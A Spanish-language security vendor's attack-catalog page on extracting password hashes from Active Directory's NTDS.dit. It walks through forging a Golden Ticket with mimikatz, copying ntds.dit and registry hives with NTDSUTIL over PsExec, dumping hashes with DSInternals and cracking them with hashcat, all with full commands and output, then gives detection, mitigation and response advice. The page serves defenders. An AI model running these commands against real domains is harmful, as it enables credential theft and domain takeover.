Magic Quadrant™ para la gestión de acceso privilegiado 2025: Netwrix reconocida por cuarto año consecutivo. Descarga el informe.

Plataforma
Glosario de ciberseguridadCatálogo de ataques
Ataque de extracción de contraseñas de NTDS.dit

Ataque de extracción de contraseñas de NTDS.dit

Todos los datos en Active Directory se almacenan en el archivo ntds.dit (“el dit”) en cada controlador de dominio (en C:\Windows\NTDS\ por defecto). Los atacantes pueden usar los hashes de contraseñas directamente del dit para avanzar en sus objetivos. Descifrar las contraseñas de los usuarios es beneficioso incluso si un adversario ya ha obtenido dominio sobre el dominio, ya que los usuarios frecuentemente reutilizan contraseñas en sistemas y aplicaciones unidos y no unidos al dominio.

Para obtener acceso al archivo ntds.dit en un controlador de dominio, un adversario debe haber obtenido previamente acceso de administrador a Active Directory. Alternativamente, un adversario podría comprometer la solución de respaldo empresarial responsable de respaldar los controladores de dominio y copiar ntds.dit de un respaldo. La mayoría de las organizaciones no rotan con frecuencia el secreto de krbtgt (ver el ataque de Golden Ticket) por lo que incluso los respaldos antiguos pueden ser útiles.

Resumen de amenazas

Objetivo: Active Directory

Herramientas: DSInternals, ntdsxtract, PowerSploit, mimikatz

Táctica ATT&CK®: Acceso a Credenciales

Técnica ATT&CK: T1003.003

Dificultad

Detección: Media

Mitigación: Media

Respuesta: Hard

Tutorial de ataque: Cómo funciona la extracción de contraseñas de NTDS.dit

PASO 1: Obtener los privilegios requeridos

Un adversario debe poseer acceso al sistema de archivos de un controlador de dominio antes de que pueda extraer ntds.dit. Dado que este requisito convierte la extracción de ntds.dit en un ataque de etapa avanzada, un adversario podría utilizar un hash de contraseña previamente comprometido de la cuenta de equipo de un controlador de dominio para crear un Silver Ticket.
En el ejemplo a continuación, el adversario utiliza mimikatz para obtener acceso al sistema de archivos de un controlador de dominio a través de un Golden Ticket.

      PS> .\mimikatz.exe "kerberos::golden /user:FakeUser1 /domain:domain.com /sid:S-1-5-21-441320023-234525631-506766575 /id:S-1-5-21-441320023-234525631-506766575-1000 /target:DC1.domain.com /service:HOST /RC4:be3710380a7600e825a2d9ef4ae0fcf0 /ptt" "misc::cmd"

User: FakeUser1

Domain: domain.com (DOMAIN)

SID: S-1-5-21-441320023-234525631-506766575

User Id: 0

Groups Id : *513 512 520 518 519

ServiceKey: be3710380a7600e825a2d9ef4ae0fcf0 - rc4_hmac_nt

Service: HOST

Target: DC1.domain.com

Lifetime: 31/07/2020 11:13:28 ; 29/07/2030 11:13:28 ; 29/07/2030 11:13:28

-> Ticket : ** Pass The Ticket **

* PAC generated

* PAC signed

* EncTicketPart generated

* EncTicketPart encrypted

* KrbCred generated

Golden ticket for 'FakeUser1 @ domain.com' successfully submitted for current session

mimikatz # misc::cmd

Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF7FB1F4320

# A new command prompt window opens

C:\Windows\System32>
      

PASO 2: Exfiltrar ntds.dit

Con acceso al sistema de archivos de un controlador de dominio, el adversario puede exfiltrar ntds.dit así como el registro HKEY_LOCAL_MACHINE\SYSTEM, que es necesario para obtener la Boot Key para descifrar ntds.dit.

Cabe destacar que mientras Active Directory está en funcionamiento, mantiene un bloqueo del sistema de archivos en el archivo ntds.dit, por lo que los intentos de copiarlo fallarán. Los adversarios tienen múltiples maneras de sortear esta limitación; en particular, pueden:

  • Simplemente detenga Active Directory (aunque esto probablemente resultará en ser detectado).
  • Utilice el Servicio de copia de sombra de volumen (VSS) para crear una instantánea del volumen y extraer ntds.dit de la instantánea.
  • Utilice una herramienta de PowerShell como PowerSploit’s Invoke-NinjaCopy para copiar los archivos aunque estén en uso.
  • Utilice una herramienta integrada como DSDBUtil.exe o NTDSUtil.exe para crear archivos de medios de instalación de active directory.
      PS> .\PSExec.exe \\dc1.domain.com cmd

PsExec v2.2 - Execute processes remotely

Copyright (C) 2001-2016 Mark Russinovich

Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.17763.1339]

(c) 2018 Microsoft Corporation. All rights reserved.

DC1 > NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full S:\Files" "q" "q"

NTDSUTIL: Activate Instance NTDS

Active instance set to "NTDS".

NTDSUTIL: IFM

ifm: Create Full S:\Files

Creating snapshot...

Snapshot set {3bacc31c-e2cb-4508-b0bf-5b4ec62f7c68} generated successfully.

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} mounted as C:\$SNAP_202007311120_VOLUMES$\

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} mounted as C:\$SNAP_202007311120_VOLUMEC$\

Initiating DEFRAGMENTATION mode...

Source Database: C:\$SNAP_202007311120_VOLUMES$\Windows\NTDS\ntds.dit

Target Database: S:\Files\Active Directory\ntds.dit

DefragmentationStatus (Complete)

0102030405060708090100

|----|----|----|----|----|----|----|----|----|----|

...................................................

Copying registry files...

Copying S:\Files\registry\SYSTEM

Copying S:\Files\registry\SECURITY

Snapshot {6bfb4e7a-4c5a-42d2-8bd4-cc5f368de171} unmounted.

Snapshot {328aa5f1-7f8f-4a0c-813c-573100a11e92} unmounted.

IFM media created successfully in S:\Files

ifm: q

NTDSUTIL: q

DC1 > Copy S:\Files \\wks2\Share



      

PASO 3: Extraer los hashes de contraseñas

Una vez que el adversario ha exfiltrado ntds.dit y el registro HKLM\SYSTEM, ya no requiere acceso a la red de la organización. Un adversario interesado en descifrar las contraseñas a menudo querrá ejecutar un ataque de fuerza bruta con un ordenador optimizado para ese propósito, pero primero necesitará extraer los hashes de ntds.dit. El módulo de PowerShell DSInternals proporciona los cmdlets Get-BootKey y Get-ADDBAccount para este propósito.

      $Key = Get-BootKey -SystemHiveFilePath C:\IFM\registry\SYSTEM

Get-ADDBAccount -BootKey $Key -DatabasePath 'C:\IFM\Active Directory\ntds.dit' -All |

Format-Custom -View HashcatNT |

Out-File C:\Hashdump.txt

PS> Get-Content C:\Hashdump.txt

f8ae01fc52f45dda7baf7a67721665f1

eed224b4784bb040aab50b8856fe9f02

# --- Output Truncated --- #
      

PASO 4: Utiliza los hashes de contraseñas para lograr objetivos adicionales

El adversario ahora puede usar los hashes de contraseñas en ataques de pass-the-hash dentro del entorno (quizás como un medio de persistencia). Más probablemente, buscarán descifrar estas contraseñas para usarlas en ataques de relleno de credenciales contra sistemas que no están unidos al dominio. En este ejemplo, el adversario descifra los hashes para obtener contraseñas en texto plano y las utiliza para autenticarse en la API de una aplicación SaaS.

      PS> .\hashcat.exe -m 1000 -a 3 --custom-charset1=?l?d?u --username -o cracked.txt .\Hashdump.txt ?1?1?1?1?1?1?1?1

Session..........: hashcat

Status...........: Running

Hash.Name........: NTLM

Hash.Target......: .\Hashdump.txt

Time.Started.....: Thu Aug 06 10:28:13 2020 (23 hours, 56 mins)

Time.Estimated...: Fri Aug 07 14:10:45 2020 (3 hours, 45 mins)

Guess.Mask.......: ?1?1?1?1?1?1?1?1 [8]

Guess.Charset....: -1 ?l?d?u, -2 Undefined, -3 Undefined, -4 Undefined

Guess.Queue......: 1/1 (100.00%)

Speed.#1.........:2165.2 MH/s (9.16ms) @ Accel:16 Loops:256 Thr:1024 Vec:1

Recovered........: 1/41 (2.44%) Digests

Progress.........: 189030831226880/218340105584896 (86.58%)

Rejected.........: 0/189030831226880 (0.00%)

Restore.Point....: 793149440/916132832 (86.58%)

Restore.Sub.#1...: Salt:0 Amplifier:13312-13568 Iteration:0-256

Candidates.#1....: TNAZRwMl -> FYNkI2Jx

Hardware.Mon.#1..: Temp: 84c Fan: 82% Util: 97% Core:1265MHz Mem:2504MHz Bus:16

PS> Get-Content .\cracked.txt

852e811a65d732c83214b4ff705d777a:F8qN47F1

PS># Attacker now uses the cracked passwords to authenticate with the username and password to a SaaS application's API

PS>$Username = "User1" # This is the user with the hash 852e811a65d732c83214b4ff705d777a which was cracked

PS>$Password = "F8qN47F1" # This is the password copied from cracked.txt

PS>$Object = New-Object -TypeName psobject

PS>$Object | Add-Member -MemberType NoteProperty -Name "login" -Value $Username

PS>$Object | Add-Member -MemberType NoteProperty -Name "password" -Value $Password

PS>$url = "https://service.url/api/login"

PS>$body = $Object | ConvertTo-Json

PS>$Header = @{ "accept" = "text/json"}

PS>$Response = Invoke-RestMethod -URI $url -Method POST -header $Header -Body $body -ContentType "application/json"

PS>$Headers = @{ 'Authorization' = "Bearer $Response" }

PS>$url = "https://service.url/api/DoThings"

PS>$Response = Invoke-RestMethod -Uri $url -Method Get -Headers $Headers

PS>$Response

{ "statusCode": 200, "statusMessage": "Things Done!" }
      

Detectar, Mitigar y Responder

Detectar

Dificultad: Media

Los intentos de acceso a ntds.dit pueden ser detectados utilizando el registro de eventos de Windows. Los ID de evento 4663 4656 de la subcategoría Audit File System pueden utilizarse para auditar el acceso al sistema de archivos. Utilice estos eventos para monitorear tanto intentos regulares como de Volume Shadow Copy para leer o modificar ntds.dit.

Mitigar

Dificultad: Media

Para mitigar el riesgo de extracción de contraseñas de ntds.dit, utilice las siguientes mejores prácticas para ayudar a asegurar que los adversarios no obtengan los privilegios necesarios para comprometer los controladores de dominio en primer lugar:

  • Realice auditorías periódicas del acceso administrativo a Active Directory, incluyendo los derechos de Group Policy y la configuración de auditoría para los inicios de sesión en los controladores de dominio.
  • Siga rigurosamente el principio de clean source para los controladores de dominio: Toda la infraestructura (por ejemplo, ESX y almacenamiento adjunto) en la que residen los controladores de dominio o aplicaciones que dan servicio a los controladores de dominio (como soluciones de respaldo) deben operar al mismo nivel de seguridad que los propios controladores de dominio.
  • Asegure la seguridad física de las máquinas controladoras de dominio. Si no se puede garantizar la seguridad física, considere ejecutar controladores de dominio de solo lectura para limitar la exposición de contraseñas.
  • No permita que los usuarios posean privilegios administrativos a través de límites de seguridad. Por ejemplo, un adversario que inicialmente compromete una estación de trabajo no debería poder escalar privilegios para moverse de una estación de trabajo a un servidor o controlador de dominio.

Responder

Dificultad: Difícil

Si se sospecha el compromiso de ntds.dit, también se debe asumir un compromiso total de Active Directory; en particular, asuma que el secreto krbtgt también fue comprometido. Tome la siguiente acción:

  • Active el proceso de respuesta ante incidentes y alerte al equipo de respuesta. La recuperación de un compromiso total de Active Directory requiere una planificación y un esfuerzo significativos.

Compartir en

Ver ataques de ciberseguridad relacionados

Abuso de permisos de aplicaciones Entra ID – Cómo funciona y estrategias de defensa

Modificación de AdminSDHolder – Cómo funciona y estrategias de defensa

Ataque AS-REP Roasting - Cómo funciona y estrategias de defensa

Ataque Hafnium - Cómo funciona y estrategias de defensa

Ataques DCSync explicados: Amenaza a la seguridad de Active Directory

Ataque de Cuentas de Servicio Administradas por Grupo

Ataque Golden SAML

Entendiendo los ataques de Golden Ticket

Ataque DCShadow – Cómo funciona, ejemplos del mundo real y estrategias de defensa

ChatGPT Prompt Injection: Comprensión de riesgos, ejemplos y prevención

Ataque de Kerberoasting – Cómo funciona y estrategias de defensa

Ataque de Pass the Hash

Explicación del ataque Pass-the-Ticket: Riesgos, ejemplos y estrategias de defensa

Ataque de Password Spraying

Ataque de extracción de contraseñas en texto plano

Explicación de la vulnerabilidad Zerologon: Riesgos, Explotaciones y Mitigación

Ataques de ransomware a Active Directory

Desbloqueando Active Directory con el ataque Skeleton Key

Movimiento lateral: Qué es, cómo funciona y prevenciones

Ataques de Hombre en el Medio (MITM): Qué son y cómo prevenirlos

¿Por qué es PowerShell tan popular entre los atacantes?

4 ataques a cuentas de servicio y cómo protegerse contra ellos

Cómo prevenir que los ataques de malware afecten a su negocio

¿Qué es Credential Stuffing?

Comprometiendo SQL Server con PowerUpSQL

¿Qué son los ataques de Mousejacking y cómo defenderse de ellos?

Robo de credenciales con un Proveedor de Soporte de Seguridad (SSP)

Ataques de Rainbow Table: Cómo funcionan y cómo defenderse de ellos

Reconocimiento LDAP

Eludir MFA con el ataque Pass-the-Cookie

Ataque de Silver Ticket